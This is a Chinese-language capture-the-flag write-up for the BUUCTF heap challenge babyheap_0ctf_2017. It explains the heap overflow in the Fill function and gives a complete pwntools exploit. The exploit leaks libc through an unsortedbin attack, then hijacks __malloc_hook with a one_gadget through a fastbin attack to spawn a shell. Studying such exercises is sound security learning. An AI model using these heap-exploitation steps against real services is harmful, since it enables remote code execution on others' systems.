BUUCTF-PWN-babyheap_0ctf_2017

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提醒：本文最后更新于 2024-08-30 14:52，文中所关联的信息可能已发生改变，请知悉！

第一次遇到堆题，堆的知识从头开始学起，花了很久，终于把每一步都搞懂了

为了方便审阅代码，修改了部分函数名和变量名

从 main 函数看，这是一种很经典的类似于“笔记管理系统”的堆题

Init函数用 mmap 进行了虚拟内存映射，并返回基址

get_num函数调用了 get_string 函数，作用是获得一个数字

在 switch 下是四个函数和一个return 0，下面一个一个分析：

Allocate函数使用数组的方法指向结构体来存储每个 chunck 的信息，结构体内的信息包括了chunck_in_use、chunck_len、chunck_addr

Fill函数承担写入 chunck 的作用，而最大的漏洞就出在这里，因为 Fill 函数的写入长度是由用户自行决定的，且没有检查 chunck 的大小，所以会造成溢出

Free函数用于释放 chunck

Dump函数用于打印 chunck 中的内容

from pwn import *

def Allocate(io, size):
    io.sendlineafter('Command: ', '1')
    io.sendlineafter('Size: ', str(size))

def Fill(io, index, content):
    io.sendlineafter('Command: ', '2')
    io.sendlineafter('Index: ', str(index))
    io.sendlineafter('Size: ', str(len(content)))
    io.sendlineafter('Content: ', content)

def Free(io, index):
    io.sendlineafter('Command: ', '3')
    io.sendlineafter('Index: ', str(index))

def Dump(io, index):
    io.sendlineafter('Command: ', '4')
    io.sendlineafter('Index: ', str(index))
    io.recvuntil('Content: \n')

if __name__ == '__main__':
    context.log_level = 'debug'

    #p = process('./babyheap')
    p = remote('node4.buuoj.cn', 28416)
    libc = ELF('./../libc/ubuntu16/64/libc-2.23.so')

    ###############################
    # unsortedbin attack 获取 libc #
    ###############################

    Allocate(p, 0x80) #0
    Allocate(p, 0x80) #1
    Allocate(p, 0x80) #2
    Allocate(p, 0x80) #3

    # Free(1)使 chunck1 进入 unsortedbin
    Free(p, 1)

    # 0x80 覆盖完 chunck0
    # 0x8 覆盖 chunck1 的 prev_size
    # p64(0x120 + 1)改写 size，表示 chunck1 的可使用大小为 0x120，且上一 chunck 为 in_use
    Fill(p, 0, b'a' * ( 0x80 + 8) + p64(0x80 + 0x10 + 0x80 + 0x10 + 1))

    # 申请 0x80 + 0x10 + x80
    # 刚好包括了 chunck2
    Allocate(p, 0x80 + 0x10 + 0x80)

    # 为 chunck2 改写 size
    #（有一部分大小为 0x10 甚至溢出了原来的 chunck2，但没关系，chunck3 不会被用到，从而起到保护作用）Fill(p, 1, b'a' * ( 0x80 + 8) + p64(0x80 + 0x10 + 1))

    # 通过释放内存，获得 fd 和 bk 指针
    Free(p, 2)

    # 打印，即可获得 fd 和 bk 的指针信息
    # fd 指针会指向 main_arena + 0x58
    Dump(p, 1)

    p.recv(0x90 + 8)
    fd_addr = u64(p.recv(8))
    print('fd_addr: ', hex(fd_addr))
    main_arena_addr = fd_addr - 0x58
    print('main_arean_addr: ', hex(main_arena_addr))

    # malloc_hook 的地址与 main_arena 相差 0x10
    malloc_hook_addr = main_arena_addr - 0x10
    print('malloc_hook_addr: ', hex(malloc_hook_addr))

    libc_base = malloc_hook_addr - libc.sym['__malloc_hook']
    print('libc_base: ', hex(libc_base))

    ##################
    # fastbin attack #
    ##################

    Allocate(p, 0x80) #申请回 chunck2
    Allocate(p, 0x60) #4
    Allocate(p, 0x60) #5

    # chunck5 进入 fastbin
    Free(p, 5)

    # 0x60 填满 chunck4 的可使用空间
    # 0x8 覆盖 chunck5 的 prev_size
    # p64(0x70 + 1)改写 chunck5 的 size
    # p64(malloc_hook_addr - 0x23)改写 fd 指针，使其指向 malloc_hook 附近，堆管理器会认为这是下一个可已被分配的堆
    # 且 malloc_hook_addr - 0x23 处，size 的位置为 7f（属于 fastbin 的大小）# p64(0)改写 bk 指针
    Fill(p, 4, b'a' * (0x60 + 8) + p64(0x70 + 1) + p64(malloc_hook_addr - 0x23) + p64(0))

    Allocate(p, 0x60) #5
    Allocate(p, 0x60) #6

    # one_gadget
    execve_bin_sh_addr = libc_base + 0x4526a

    # 0x13 覆盖 malloc_hook 之前的一段数据
    # p64(execve_bin_sh_addr)改写 malloc_hook，让其指向 execve_bin_sh
    Fill(p, 6, b'a' * 0x13 + p64(execve_bin_sh_addr))

    # 让系统使用到 malloc 函数，从而调用到 malloc_hook，得到 shell
    Allocate(p, 0x10)

    p.interactive()

正文完